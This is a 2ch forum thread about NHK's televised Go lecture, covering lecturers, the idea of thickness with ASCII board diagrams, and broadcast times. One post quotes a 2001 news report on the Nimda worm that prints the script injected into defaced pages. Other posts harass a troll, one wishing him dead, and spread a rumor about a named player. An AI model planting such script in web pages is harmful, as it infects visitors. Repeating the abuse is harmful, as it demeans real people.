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越田抜きでNHK囲碁講座を語ろう

1 :名無し名人:2009/07/29(水) 11:07:54 ID:AjHU6G2t
常識人だけでNHKの囲碁講座を語るスレです。

NHK教育テレビ 毎週日曜日 午後0:00〜0:20

2 :名無し名人:2009/07/29(水) 12:36:48 ID:6qT9KAXr
野月はゲイ

3 :名無し名人:2009/07/29(水) 12:43:38 ID:CaGzVKM/
乙カレー

4 :名無し名人:2009/07/30(木) 15:59:23 ID:2b4mHKBo
たしかにこんなスレ必要だよな。w

5 :名無し名人:2009/07/30(木) 16:54:22 ID:JorQHDC6
理解できない講座だと、書き込みが減るから
後期は難度を上げてほしいな

6 :名無し名人:2009/07/30(木) 17:30:33 ID:BvptbSHc
関連スレ
NHK囲碁講座を語ろう その5
http://schiphol.2ch.net/test/read.cgi/gamestones/1217738150/
NHK囲碁講座を語ろう その6
http://schiphol.2ch.net/test/read.cgi/gamestones/1246539856/

7 :名無し名人:2009/07/31(金) 14:58:36 ID:BtfdCk0I
みささん、もっともっと活発に
有意義な投稿をしてください。よろしくお願いします。


8 :名無し名人:2009/07/31(金) 16:17:58 ID:AijZNR3p
後期はどんな講座なのかな
有段者向けを希望

9 :名無し名人:2009/08/01(土) 10:45:14 ID:364yHu6Y
有段者なら、いろんな本やビデオがあるから、気軽に見れるNHKは
入門者用にしておいた方がイイんじゃないかな。囲碁始めるきっかけになるような企画が欲しいけど

10 :名無し名人:2009/08/01(土) 13:52:22 ID:eyx1YPUJ


11 :名無し名人:2009/08/03(月) 13:03:43 ID:LTc2HsXx
がんばって投稿しよう

12 :名無し名人:2009/08/03(月) 14:29:41 ID:bqKRCH64
>>10-11
越田死ね

13 :名無し名人:2009/08/04(火) 14:31:50 ID:siuefyZg
   /⌒⌒⌒⌒⌒⌒ ))    |
  (   从    ノ.ノ      |
   ( ./  ̄ ̄ ̄ ̄\     |
   |::::::  ヽ     丶.   | バレたか!
   |::::.____、_  _,__)  ∠ 衆院選が近いからな。かく乱作戦よ
  (∂: ̄ ̄| ・ー |=|・ー |   \_________
   (  (   ̄ )・・( ̄ i
   ヘ\   .._. )3( .._丿
 /  \ヽ _二__ノ|\
/⌒ヽ.   \__/\i/\_|
|   ヽ       \o \
|    |          \o \

14 :名無し名人:2009/08/04(火) 14:42:30 ID:bOI8TbZa
全国知事会推薦...明るい未来の会より
  

15 :名無し名人:2009/08/04(火) 16:40:17 ID:TwdIB6lM
越田のウンコむしゃむしゃ

16 :名無し名人:2009/08/04(火) 21:22:24 ID:oCH/jmQf
>>15
頭大丈夫か?

17 :名無し名人:2009/08/06(木) 11:13:12 ID:wIL79Efh
うんちでも、高カロリー...
   .....亜鉛入りなので頭もスッキリ

18 :名無し名人:2009/09/11(金) 13:43:06 ID:V46m7xf6
ここはいらないスレなの

19 :名無し名人:2009/09/11(金) 15:38:57 ID:AwIgJOyH
越田はいらない

20 :名無し名人:2009/09/15(火) 17:55:29 ID:q0w10Bu5
こっちでも嫌がらせしてるんだ。
越田って本物の荒らしなんだな。

21 :名無し名人:2009/09/29(火) 09:44:44 ID:37dmN8OZ
良スレ保守

22 :名無し名人:2009/10/04(日) 09:54:06 ID:D7I7EFZY
初日age

23 :名無し名人:2009/10/04(日) 14:12:17 ID:I93flibm
なんだか初心者向けすぎないか?
石倉が入門から中級者くらいまでの講座をやっていたんだから、それを踏まえての内容にして欲しかった。
導入部だからかね。

24 :名無し名人:2009/10/05(月) 08:10:08 ID:JSU41+B8
これからだよ
話してることは石倉講座より高級だ

25 :名無し名人:2009/10/06(火) 00:56:06 ID:32ZFKwjF
高さのある星二つと、高さがあるけど根拠が無い星三つの違い(゚ω゚?)
厚いかどうか意識したことのないKGS二桁です

26 :名無し名人:2009/10/06(火) 08:30:58 ID:61nZcvEf
┯┯┯┯┯○┯○┯┯┓
┼┼┼┼○┼○┼○┼┨ >>25
┼┼┼●┼○●○○┼┨『この白は厚い』という言い方はよくする。
┼╋┼┼●○●●●┼┨
┼┼┼┼┼●┼┼┼┼┨ ここまで講座で言及するかどうかはわからないけど、
┼┼┼┼●┼┼┼┼┼┨ いちおう視野には入っているのではなかろうか。
┼┼┼┼┼┼┼┼┼┼┨
┼┼┼┼┼┼┼┼┼┼┨ まぁ高さ優先か根拠優先かは時によりけり、だけど。

27 :名無し名人:2009/10/06(火) 09:21:06 ID:ZmBYLfqK
交互に打っているんだから一方だけが良くなるわけではない
厚みを作る代償に相手に与える利益(地、目形の安定、反対側の厚み)が
自分の作った厚みと比較してどっちが大きいかってことで形勢に差が出ると思う

28 :名無し名人:2009/10/06(火) 12:56:56 ID:nLV2VHHc
次が楽しみ

29 :名無し名人:2009/10/06(火) 13:23:32 ID:bnVn/LmB
何故越田にこだわるの?
無視してればいいじゃん
何か此方から呼び込んでいるみたい

30 :名無し名人:2009/10/06(火) 14:03:28 ID:nLV2VHHc
>>27
 厚みとは一体何なのか
厚みが大きい...この大きいという評価は
        どのようにして求めるのか?



31 :名無し名人:2009/10/06(火) 14:06:13 ID:nLV2VHHc
 厚みと手割り論の関係はどこにあるのか?
 どうして棋力さを、置石によって調整できるのか?

 そこに隠された基本となる着手効率の概念とは一体何なのか

32 :名無し名人:2009/10/06(火) 14:11:29 ID:nLV2VHHc
「厚み」を限定して捉えるより、
 囲碁の着手効率や棋力差の本質から考えないと
 間違った思い込みで、判断することになりそうです。

33 :名無し名人:2009/10/06(火) 14:28:45 ID:O28w8ip9
>>29が呼び込んでてワロタ

34 :名無し名人:2009/10/06(火) 14:34:29 ID:ZmBYLfqK
┯┯┯┯┯○┯○┯┯┓
┼┼┼┼○┼○┼○┼┨
┼┼┼●┼○●○○┼┨
┼╋┼┼●○●●●┼┨
┼┼┼┼┼●┼┼┼┼┨
┼┼┼┼●┼┼┼┼┼┨
┼┼┼┼┼┼┼┼┼┼┨
┼┼┼┼┼┼┼┼┼┼┨
┼┼┼┼┼┼┼┼┼┼┨
┼╋┼┼┼┼┼伊┼┼┨

伊のところに黒石がある場合は厚みを作る価値が大きい
無い場合は価値が半減する 先手を取ってその地点に黒石を置けることが前提かな
伊のところに白石がある場合は完全に安定した地を白に与えた上で
厚みを働かせて作る地や白石への攻めがあまり期待できないので価値が無い(デメリットが多い)

布石の本にも良く書いてあることだが、背景の石の配置により選択候補になる
定石は変わるし、そのあたりを踏まえて選べるようにならないとなかなか…だろうね

35 :名無し名人:2009/10/06(火) 15:02:59 ID:wt7TLu4D
スレタイを読めよカス!

36 :名無し名人:2009/10/06(火) 17:01:26 ID:ocJaJeww
>>34
伊の辺りに黒石がない時は、カカリからの三三入りに対し
図の方からは押さえにくいですね。
いろいろ変化のある定石ですが、先手になるか後手になるか
白番に決定権があるので。

37 :26:2009/10/06(火) 19:10:32 ID:kw7dfKcG
白は高さはないが根拠がある
黒は高さがあるが根拠がない
よって、白のほうが黒より厚い

という事例として挙げたんだが……

38 :名無し名人:2009/10/06(火) 20:38:01 ID:ocJaJeww
>>26の図は、白が連打しないと、黒が簡単に根拠をもてるので
黒の方が厚く見えます。
死ににくくて発展性があるのが、厚みだと思いますので。

39 :名無し名人:2009/10/06(火) 23:44:34 ID:O28w8ip9
でも番組の評価だと白が☆3つ、黒は☆2つになるんだよな。
だから、かかられた方から遮る定石が正しいんだろうな。

40 :名無し名人:2009/10/07(水) 00:09:07 ID:hmUv2fSV
>>26
おれは黒持ちだな
白地なんて大したことないし

41 :名無し名人:2009/10/07(水) 00:16:26 ID:iX/Jvus4
外ベッタリ塗られて弱みもそんなに無いんじゃ白はあまり持ちたくない
場合によるがね

42 :名無し名人:2009/10/07(水) 14:55:53 ID:wK4yeIyS
厚みの戦略講座は、
 定石での、黒白どっちがいいかのという講座だったのか。
 こりゃ、まいった...

43 :名無し名人:2009/10/07(水) 15:39:42 ID:Mqaz7dMc
番組見ずに、このスレに来て利口ぶる目的が解らん

44 :名無し名人:2009/10/07(水) 15:46:09 ID:Mqaz7dMc
と思ったら、自分が講師として呼ばれる日を夢見てる
いつもの爺さん(級位者)か

45 :名無し名人:2009/10/07(水) 18:24:02 ID:weuLryD9
思い切った切り口で今までとは違った講座にしようという
NHKと横田氏の意欲に期待しようではないか。

46 :名無し名人:2009/10/07(水) 20:25:43 ID:JfJaZf9G
公理 越田=級位者

47 :名無し名人:2009/10/07(水) 20:55:32 ID:85D/SeOV
呼び込み禁止w

48 :名無し名人:2009/10/07(水) 22:26:07 ID:P6ihPcxI
荒らしは向こうでやれよ

49 :名無し名人:2009/10/09(金) 19:59:31 ID:2PHTLC1o
NHK公式の講師紹介に
> 83年入段、95年初段。
とあるな。正直どうでもいいが。

50 :名無し名人:2009/10/11(日) 12:09:00 ID:+8hV7lm0
高さと根拠おもしろいな

51 :名無し名人:2009/10/11(日) 15:32:51 ID:ErTRPUM2
根拠のあるほうから、攻めない

52 :名無し名人:2009/10/11(日) 15:46:48 ID:li1HBMLC
他の格言でも、固いところとか安定しているところからは攻めないってのがあるね
厚みに近寄るなとか

厚みに近いところにある生意気な石は厚みに押し付けるようにゆっくり攻めて得をしろってことだね

53 :名無し名人:2009/10/11(日) 18:51:34 ID:eq1FBV5d
今回の講座ってどうなの?
厚みとか言ってるけど、講座自体の根拠が謎

54 :名無し名人:2009/10/12(月) 11:34:47 ID:gHH6S2wE
なかなかおもしろいな
厚みが変化していくのを感じとるってのは当然だけども
講座であらためて教えられると頭の中が晴れていくような気がする

55 :名無し名人:2009/10/13(火) 12:01:21 ID:q4yeY4NQ
根拠と厚み..??? 根拠って何???

56 :名無し名人:2009/10/13(火) 12:46:47 ID:W5XPTOaY
目を二つ持ってることだよ。

57 :名無し名人:2009/10/13(火) 13:01:34 ID:q4yeY4NQ
晴れ後くもり、そして荒らしで洪水

58 :名無し名人:2009/10/13(火) 13:32:51 ID:QHa+0TX0
また嫌がらせをしに来たのか
かわいそうなやつだ

59 :名無し名人:2009/10/13(火) 19:27:30 ID:BB2m79O0
>>55
理論的に説明できる材料

60 :名無し名人:2009/10/15(木) 13:24:46 ID:W9Ih3E9a
公理wとは違うな

61 :名無し名人:2009/10/18(日) 12:08:24 ID:xBC0TbO+
石倉さんのはどことなくふわふわした感じがするけど、横やんのは(自分が)本当に理解できてるなと感じる

62 :名無し名人:2009/10/19(月) 15:13:47 ID:P1mhGeGr
石倉さんと横田さんってどっちが強いの?

63 :名無し名人:2009/10/19(月) 16:28:53 ID:BlOssDGo
比べるのが失礼なくらいに
横田さんの方が断然強いでしょ

64 :名無し名人:2009/10/19(月) 23:44:18 ID:P1mhGeGr
石倉さんって弱いの?

65 :名無し名人:2009/10/19(月) 23:53:15 ID:BlOssDGo
横田さんは2年前の碁聖の挑戦者の実力者。
石倉さんは目だった活躍は無しだが、囲碁普及にはかなり貢献していると思う。
碁の強さで比較するのはかわいそう。

66 :名無し名人:2009/10/20(火) 01:51:08 ID:wHvVqZBZ
強いだけが良い棋士ではない
強い棋士の弟子が必ず強い棋士になるわけではないのと一緒
その段階によって、身につけるべき要素は変わっていくもの
様々な碁に触れるのが大切

67 :名無し名人:2009/10/20(火) 03:27:50 ID:WokRW/Jh
いや、強かった頃は強かったとおもう。石倉。

68 :名無し名人:2009/10/21(水) 00:00:32 ID:2JyefyXt
石倉だって7大棋戦の本選入りしてたし
名人戦移管騒動がなければ回り道せずにプロになってたと思う

69 :名無し名人:2009/10/21(水) 01:05:51 ID:Hv5TDptq
稲葉さん40歳か
横田さんと同い年なんだな

70 :名無し名人:2009/10/27(火) 12:11:47 ID:H7Sfldsd
石倉は麻雀で言うところの井出洋介


71 :名無し名人:2009/10/27(火) 15:02:09 ID:UbEmTBf9
そういえば、井出洋介とリンリンって似てないか?

72 :名無し名人:2009/10/27(火) 15:48:10 ID:vtzJ0hTN
のりpの報道で記者で登場したのが井山に似ていた。

73 :名無し名人:2009/10/27(火) 20:27:24 ID:F+D0ZZ8r
河野臨が林海峰とケコーンしたらりんりんになる

74 :名無し名人:2009/10/27(火) 20:31:45 ID:+DTheqTt
娘の林芳美さんは司会とかやってたよね。もう結婚してるけど

75 :名無し名人:2009/10/27(火) 23:58:46 ID:H7Sfldsd
林芳美さんはかわいかったね

76 :名無し名人:2009/11/04(水) 07:00:31 ID:EM0uBAXe
この講座(だけじゃないけど)の最大の欠点(自分にとって)は
講師が「このような形になり有利になるので、こう打つ方がよい」
といったときの説明がピンとこないことだ。
2間と3間での打ち込みでも、そうなのかなと逆に思ってしまった。

77 :名無し名人:2009/11/06(金) 16:22:49 ID:wmvBR0JV
>>68
今期の天元本戦には女流が二人もいたよ
ホンの一時期の間、本戦にでてたくらいでは強いとも言えないんじゃないの?

78 :名無し名人:2009/11/23(月) 23:55:38 ID:qLB8KDCX
後期講座にしては対象レベルが低い感じだね

79 :名無し名人:2009/12/03(木) 22:48:59 ID:Tzj1nHIh
そういうものなのか

80 :名無し名人:2010/01/28(木) 11:39:58 ID:Vry8Lope
年度前半の講座より後半の講座を難しくなるようにしている?

81 :名無し名人:2010/01/28(木) 15:10:46 ID:Hh8q/257
なんかそんな気がしたんだけど気のせいだったかもね

82 :名無し名人:2010/02/16(火) 21:50:06 ID:dZQDaYrf
テレビ講座(4月〜9月)
小林光一の攻めの構想小林流

初心講座ではなさそうだ

83 :名無し名人:2010/02/16(火) 22:20:44 ID:Q036nGPE
小林流と言っても小林流という型に特化したものなのか、単に俺流という意味なのか・・・・・
前期に初心者っぽくないかもしれないのは珍しいね。
まぁテキスト見てからだな。

84 :名無し名人:2010/02/17(水) 00:10:57 ID:e2KZE7VW
>>83
そのかわりなのかもしれないが、別冊付録が、

梅沢・万波・王の囲碁ビギナーズ
@梅沢由香里のルールを覚えよう

今年度の付録の次の一手、結構好きだっただけに、個人的にはこれは残念かな。

85 :名無し名人:2010/02/18(木) 03:33:02 ID:PRBfiFAL
越田って誰?(?_?)


86 :名無し名人:2010/02/18(木) 13:12:26 ID:ZQk6Gjgl
囲碁板のあちこちのスレを荒らしてる人。身元も割れている。
会話の成り立たないボケ老人みたいな感じだから見ればすぐにわかると思うよ。
MHK講座の本スレを奴に乗っ取られてしまったので現在こっちのスレが本スレっぽく
なっている。

87 :名無し名人:2010/02/18(木) 13:34:47 ID:ZCCbLUOc


88 :名無し名人:2010/02/24(水) 17:49:22 ID:uTxTO9Dp
がんばって投稿しましょう。

89 :名無し名人:2010/02/24(水) 18:40:41 ID:EcEtd/5y
かつてNHK囲碁講座テキストの広告に、日本囲碁ソフトが
載っていた件について

90 :名無し名人:2010/02/24(水) 18:52:47 ID:iQvT+vIJ
いつごろ?うpキボン

91 :名無し名人:2010/02/24(水) 19:03:03 ID:EcEtd/5y
確か、80年代後半から90年代前半にあった
手元にあるのは93年のもの
どのうPローダー使えばいいかな?
やったことないからよくわからないんよ

92 :89:2010/02/24(水) 19:39:07 ID:EcEtd/5y
これでいいかな?
ttp://www.dotup.org/uploda/www.dotup.org684187.jpg.html
パスワードはメル欄


93 :名無し名人:2010/02/24(水) 20:17:38 ID:iQvT+vIJ
今では2chを荒らしているだけ。
>89=92ご苦労さん

94 :名無し名人:2010/02/24(水) 21:49:07 ID:o2N9b7uh
msn、オリコをはじめとする多数のwebが改竄、感染の踏み台にされる(2001.9.19)

 Nimda によるweb改竄は、急激に広がっている。
 現在、編集部で確認したwebページは下記であるが、いくつかのサイトでは、トップページ以下複数のページが改竄されるなどの
広がりをみせている。大手サイト、企業も感染しており、企業名やサイト名で安心してアクセスすると、被害を受けることになる。
インターネット利用にあたっては、パッチをあてる、スクリプトをオフにするなどの自己防衛が不可欠となっている。

改竄されたページには、下記のスクリプトが埋め込まれている。
  「<html><script language="JavaScript">window.open("readme.eml",null, "resizable=no,top=6000,left=6000")</script></html>」

 感染したwebは、拡大しており、下記にあげるものは、ごく一部でしかない。

改竄され、踏み台となったweb

(中略)

 ・日本囲碁ソフト
  布石・定石パワー アップデートモジュールのダウンロード
  http://www.igosoft.co.jp/html/update/jpow2up.html
 ・囲碁ソフト 次の一手
  http://www.igosoft.co.jp/html/UteruNyu/keisan.htm
(以下略)

==============================================================================================================
http://old.netsecurity.ne.jp/article/9/2842.html

95 :名無し名人:2010/02/24(水) 22:25:55 ID:r4QsPhXo
かつての広告主にボロクソに誹謗中傷されてるNHKって一体・・・・・

96 :名無し名人:2010/02/25(木) 00:10:49 ID:US2ACtsk
頼むから越田の話は隔離スレでやってくれ

97 :名無し名人:2010/02/25(木) 04:10:30 ID:owgG4odh
まったくだ

98 :名無し名人:2010/02/25(木) 11:53:36 ID:9ojRPwZ3
雑誌広告が大きく減った原因はどうしてかな。

99 :名無し名人:2010/02/25(木) 12:59:25 ID:iBncQXZK
次のNHK囲碁講座は小林光一と穂坂繭だってよ
ソースは稲葉ブログ

梢ちゃんはいつ戻ってきてくれるんだろうか・・・

100 :名無し名人:2010/02/25(木) 21:11:56 ID:jOPIv+Ki
その昔、講座は再放送があったよね
ワンセグ独自放送とかでやってくれればいいのに


101 :名無し名人:2010/02/25(木) 22:54:01 ID:qfWz+uD7
>>100

次の講座から再放送があるよ。
毎週木曜日午前5:05 ~ 5:25
ソースはテキスト3月号

102 :名無し名人:2010/02/26(金) 21:01:24 ID:SVZ7D3kb
うーん、そのような時間に起きる事がないからなぁ
朝の早い人向けか

103 :名無し名人:2010/02/28(日) 14:21:25 ID:DLzCaTE8
NHKの囲碁トーナメント(2月28日放送) 
山下対河野戦の事ですが放送開始から終了まで、画面4分の1右下が日本列島
地図で見えなく、戦いが良く分からなっかたが、たまには地図を消して欲しか
った皆様はどう思いますか?

104 :名無し名人:2010/02/28(日) 14:32:45 ID:7+Ghoubx
>>103
トーナメントスレに書いたほうが良いと思うが、全く同意。

つか、地デジでチャンネルとか字幕使えるんならテロップうまく使って欲しいと思うね。
複数チャンネル持っているのに、両方で似たようなことする必要が無いと思う。
(緊急放送といってもテロップあればいいと思うし、画質落として3チャンネル体勢でもいいと思う)

105 :名無し名人:2010/02/28(日) 15:10:24 ID:gVQjD6u2
出来ることなら、右上に日本地図を置いて欲しかったわね

106 :名無し名人:2010/02/28(日) 17:02:23 ID:7+Ghoubx
盤面縮小してもいいから、干渉しないところに盤を表示して欲しかった。

法令で表示義務とかあるんなら、番組と表示の両立について
何か考えてて欲しいな。

そういう行政指導について詳しい人いる?
…放送関係の板に逝った方がいいか……

107 :名無し名人:2010/02/28(日) 18:01:09 ID:z0q/i8uE
フジはNHKより影響の少ない配置になってたよ

108 :名無し名人:2010/03/03(水) 22:17:12 ID:9te6HOHc
越田抜きで津波警報をを語ろう
http://schiphol.2ch.net/test/read.cgi/gamestones/1248833274/

109 :名無し名人:2010/03/03(水) 22:20:29 ID:WqUigeoe
そーいや、NHKトーナメント放送時の日本地図並に目障りだな。
有用さのかけらも無いが。

110 :名無し名人:2010/03/21(日) 10:16:56 ID:9175oRdO
※3月21日は放送時間が変更になります。
午後1:05〜1:25

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